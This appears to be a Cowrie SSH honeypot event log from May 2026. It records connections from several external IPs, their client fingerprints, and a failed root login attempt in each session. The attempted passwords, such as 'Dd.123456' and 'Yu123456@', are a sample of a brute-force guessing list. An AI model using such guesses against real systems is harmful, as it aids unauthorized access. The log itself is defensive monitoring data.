{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:03.601370Z","src_ip":"45.66.52.41","session":"34901cd91bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789632145","message":"login attempt [root/789632145] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:04.160431Z","src_ip":"103.195.236.96","session":"005e968b51b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd.123456","message":"login attempt [root/Dd.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:04.346279Z","src_ip":"45.66.52.41","session":"34901cd91bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:05.430420Z","src_ip":"103.195.236.96","session":"005e968b51b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:05.524933Z","src_ip":"45.66.52.41","session":"34901cd91bc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":56760,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f38a12bda07","protocol":"ssh","message":"New connection: 43.128.102.61:56760 (10.17.0.5:22) [session: 1f38a12bda07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:11.244742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:11.249182Z","src_ip":"43.128.102.61","session":"1f38a12bda07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:11.495441Z","src_ip":"43.128.102.61","session":"1f38a12bda07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"87654321","message":"login attempt [root/87654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:12.509540Z","src_ip":"43.128.102.61","session":"1f38a12bda07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:13.758847Z","src_ip":"43.128.102.61","session":"1f38a12bda07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":47894,"dst_ip":"10.17.0.5","dst_port":22,"session":"a259569483dc","protocol":"ssh","message":"New connection: 94.159.98.239:47894 (10.17.0.5:22) [session: a259569483dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:47.720904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:47.874415Z","src_ip":"94.159.98.239","session":"a259569483dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:47.878297Z","src_ip":"94.159.98.239","session":"a259569483dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lineage","message":"login attempt [root/lineage] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:48.990206Z","src_ip":"94.159.98.239","session":"a259569483dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:50.153080Z","src_ip":"94.159.98.239","session":"a259569483dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37968,"dst_ip":"159.203.135.109","dst_port":22,"session":"394f3a0d4753","protocol":"ssh","message":"New connection: 103.153.68.219:37968 (159.203.135.109:22) [session: 394f3a0d4753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:56.209375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:56.214218Z","src_ip":"103.153.68.219","session":"394f3a0d4753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:56.472368Z","src_ip":"103.153.68.219","session":"394f3a0d4753","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"malina","message":"login attempt [root/malina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:57.246566Z","src_ip":"103.153.68.219","session":"394f3a0d4753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:58:58.508676Z","src_ip":"103.153.68.219","session":"394f3a0d4753","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.173.38.229","src_port":42794,"dst_ip":"10.17.0.5","dst_port":22,"session":"141221b00c36","protocol":"ssh","message":"New connection: 62.173.38.229:42794 (10.17.0.5:22) [session: 141221b00c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:06.588817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:06.593792Z","src_ip":"62.173.38.229","session":"141221b00c36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:06.762475Z","src_ip":"62.173.38.229","session":"141221b00c36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yu123456@","message":"login attempt [root/Yu123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:07.455219Z","src_ip":"62.173.38.229","session":"141221b00c36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:08.624871Z","src_ip":"62.173.38.229","session":"141221b00c36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":44193,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4ca61767ab4","protocol":"ssh","message":"New connection: 45.66.52.41:44193 (10.17.0.5:22) [session: d4ca61767ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:25.409341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:25.414394Z","src_ip":"45.66.52.41","session":"d4ca61767ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:25.730712Z","src_ip":"45.66.52.41","session":"d4ca61767ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":40564,"dst_ip":"10.17.0.5","dst_port":22,"session":"92e8a02cb46d","protocol":"ssh","message":"New connection: 181.188.176.245:40564 (10.17.0.5:22) [session: 92e8a02cb46d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:26.468922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:26.472629Z","src_ip":"181.188.176.245","session":"92e8a02cb46d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admintest","message":"login attempt [root/admintest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:26.477171Z","src_ip":"45.66.52.41","session":"d4ca61767ab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:26.636557Z","src_ip":"181.188.176.245","session":"92e8a02cb46d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sayed123","message":"login attempt [root/sayed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:27.327914Z","src_ip":"181.188.176.245","session":"92e8a02cb46d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:27.661313Z","src_ip":"45.66.52.41","session":"d4ca61767ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:28.494724Z","src_ip":"181.188.176.245","session":"92e8a02cb46d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":40244,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd0367dfe94d","protocol":"ssh","message":"New connection: 43.128.102.61:40244 (10.17.0.5:22) [session: cd0367dfe94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:29.102488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:29.106543Z","src_ip":"43.128.102.61","session":"cd0367dfe94d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:29.352473Z","src_ip":"43.128.102.61","session":"cd0367dfe94d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soleil","message":"login attempt [root/soleil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:30.369266Z","src_ip":"43.128.102.61","session":"cd0367dfe94d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:59:31.617880Z","src_ip":"43.128.102.61","session":"cd0367dfe94d","protocol":"ssh"}